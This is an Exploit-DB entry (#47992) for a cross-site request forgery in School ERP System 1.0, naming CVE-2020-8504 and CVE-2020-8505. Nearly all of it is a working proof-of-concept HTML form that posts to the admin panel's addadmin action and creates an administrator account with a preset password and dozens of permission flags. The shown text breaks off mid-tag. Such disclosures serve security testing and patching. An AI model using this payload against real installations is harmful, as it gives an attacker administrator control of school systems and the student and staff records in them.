Exploit-DB #47992
Description: School ERP System 1.0 - Cross Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-02-03
Author: J3rryBl4nks

Exploit:
# Title: School ERP System 1.0 - Cross Site Request Forgery (Add Admin)
# Date: 2020-01-31
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/projects/school-erp-ultimate/files/
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/files/
# Version ERP-Ultimate
# CVE: CVE-2020-8504,CVE-2020-8505
# Tested on Windows 10/Kali Rolling
# The School ERP Ultimate web application is vulnerable to Cross Site Request Forgery 
# that leads to admin account creation and arbitrary user deletion.
# Proof of Concept for the Admin Account Creation:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://SITEHERE/office_admin/?pid=42&action=addadmin" method="POST">
      <input type="hidden" name="admin&#95;fname" value="Admin" />
      <input type="hidden" name="admin&#95;lname" value="Tester" />
      <input type="hidden" name="admin&#95;username" value="testing" />
      <input type="hidden" name="admin&#95;password" value="testing123" />
      <input type="hidden" name="admin&#95;password2" value="testing123" />
      <input type="hidden" name="admin&#95;email" value="test&#64;test&#46;com" />
      <input type="hidden" name="admin&#95;phoneno" value="[PII_REDACTED]" />
      <input type="hidden" name="adminlevel" value="" />
      <input type="hidden" name="admin&#95;more" value="Test" />
      <input type="hidden" name="1&#95;p" value="1&#95;p" />
      <input type="hidden" name="1&#95;1" value="1&#95;1" />
      <input type="hidden" name="1&#95;2" value="1&#95;2" />
      <input type="hidden" name="1&#95;4" value="1&#95;4" />
      <input type="hidden" name="1&#95;3" value="1&#95;3" />
      <input type="hidden" name="2&#95;p" value="2&#95;p" />
      <input type="hidden" name="2&#95;1" value="2&#95;1" />
      <input type="hidden" name="2&#95;2" value="2&#95;2" />
      <input type="hidden" name="2&#95;3" value="2&#95;3" />
      <input type="hidden" name="2&#95;4" value="2&#95;4" />
      <input type="hidden" name="2&#95;5" value="2&#95;5" />
      <input type="hidden" name="2&#95;6" value="2&#95;6" />
      <input type="hidden" name="2&#95;7" value="2&#95;7" />
      <input type="hidden" name="2&#95;8" value="2&#95;8" />
      <input type="hidden" name="2&#95;9" value="2&#95;9" />
      <input type="hidden" name="2&#95;10" value="2&#95;10" />
      <input type="hidden" name="2&#95;11" value="2&#95;11" />
      <input type="hidden" name="2&#95;12" value="2&#95;12" />
      <input type="hidden" name="2&#95;13" value="2&#95;13" />
      <input type="hidden" name="2&#95;14" value="2&#95;14" />
      <input type="hidden" name="2&#95;15" value="2&#95;15" />
      <input type="hidden" name="2&#95;20" value="2&#95;20" />
      <input type="hidden" name="2&#95;18" value="2&#95;18" />
      <input type="hidden" name="2&#95;19" value="2&#95;19" />
      <input type="hidden" name="3&#95;p" value="3&#95;p" />
      <input type="hidden" name="3&#95;1" value="3&#95;1" />
      <input type="hidden" name="3&#95;2" value="3&#95;2" />
      <input type="hidden" name="3&#95;3" value="3&#95;3" />
      <input type="hidden" name="3&#95;5" value="3&#95;5" />
      <input type="hidden" name="3&#95;4" value="3&#95;4" />
      <input type="hidden" name="4&#95;p" value="4&#95;p" />
      <input type="hidden" name="5&#95;p" value="5&#95;p" />
      <input type="hidden" name="5&#95;1" value="5&#95;1" />
      <input type="hidden" name="5&#95;3" value="5&#95;3" />
      <input type="hidden" name="5&#95;2" value="5&#95;2" />
      <input type="hidden" name="5&#95;5" value="5&#95;5" />
      <input type="hidden" name="5&#95;6" value="5&#95;6" />
      <input type="hidden" name="6&#95;p" value="6&#95;p" />
      <input type="hidden" name="7&#95;p" value="7&#95;p" />
      <input type="hidden" name="7&#95;1" value="7&#95;1" />
      <input type="hidden" name="7&#95;2" value="7&#95;2" />
      <input type="hidden" name="7&#95;3" value="7&#95;3" />
      <input type="hidden" name="7&#95;4" value="7&#95;4" />
      <input type="hidden" name="7&#95;5" value="7&#95;5" />
      <input type="hidden" name="8&#95;p" value="8&#95;p" />
      <input type="hidden" name="8&#95;1" value="8&#95;1" />
      <input type="hidden" name="8&#95;2" value="8&#95;2" />
      <input type="hidden" name="8&#95;3" value="8&#95;3" />
      <input type="hidden" name="8&#95;101" value="8&#95;101" />
      <input type="hidden" name="8&#95;4" value="8&#95;4" />
      <input type="hidden" name="8&#95;5" value="8&#95;5" />
      <input type="hidden" name="8&#95;6" value="8&#95;6" />
      <input type="hidden" name="8&#95;16" value="8&#95;16" />
      <input type="hidden" name="8&#95;102" value="8&#95;102" />
      <input type="hidden" name="8&#95;7" value="8&#95;7" />
      <input type="hidden" name="8&#95;8" value="8&#95;8" />
      <input type="hidden" name="8&#95;9" value="8&#95;9" />
      <input type="hidden" name="8&#95;17" value="8&#95;17" />
      <input type="hidden" name="8&#95;103" value="8&#95;103" />
      <input type="hidden" name="8&#95;104" value="8&#95;104" />
      <input type="hidden" name="8&#95;10" value="8&#95;10" />
      <input type="hidden" name="8&#95;11" value="8&#95;11" />
      <input type="hidden" name="8&#95;12" value="8&#95;12" />
      <input type="hidden" name="8&#95;18" value="8&#95;18" />
      <input type="hidden" name="8&#95;105" value="8&#95;105" />
      <input type="hidden" name="8&#95;106" value="8&#95;106" />
      <input type="hidden" name="8&#95;13" value="8&#95;13" />
      <input type="hidden" name="8&#95;14" value="8&#95;14" />
      <input type="hidden" name="8&#95;15" value="8&#95;15" />
      <input type="hidden" name="8&#95;19" value="8&#95;19" />
      <input type="hidden" name="8&#95;107" value="8&#95;107" />
      <input type="hidden" name="8&#95;108" value="8&#95;108" />
      <input type="hidden" name="9&#95;p" value="9&#95;p" />
      <input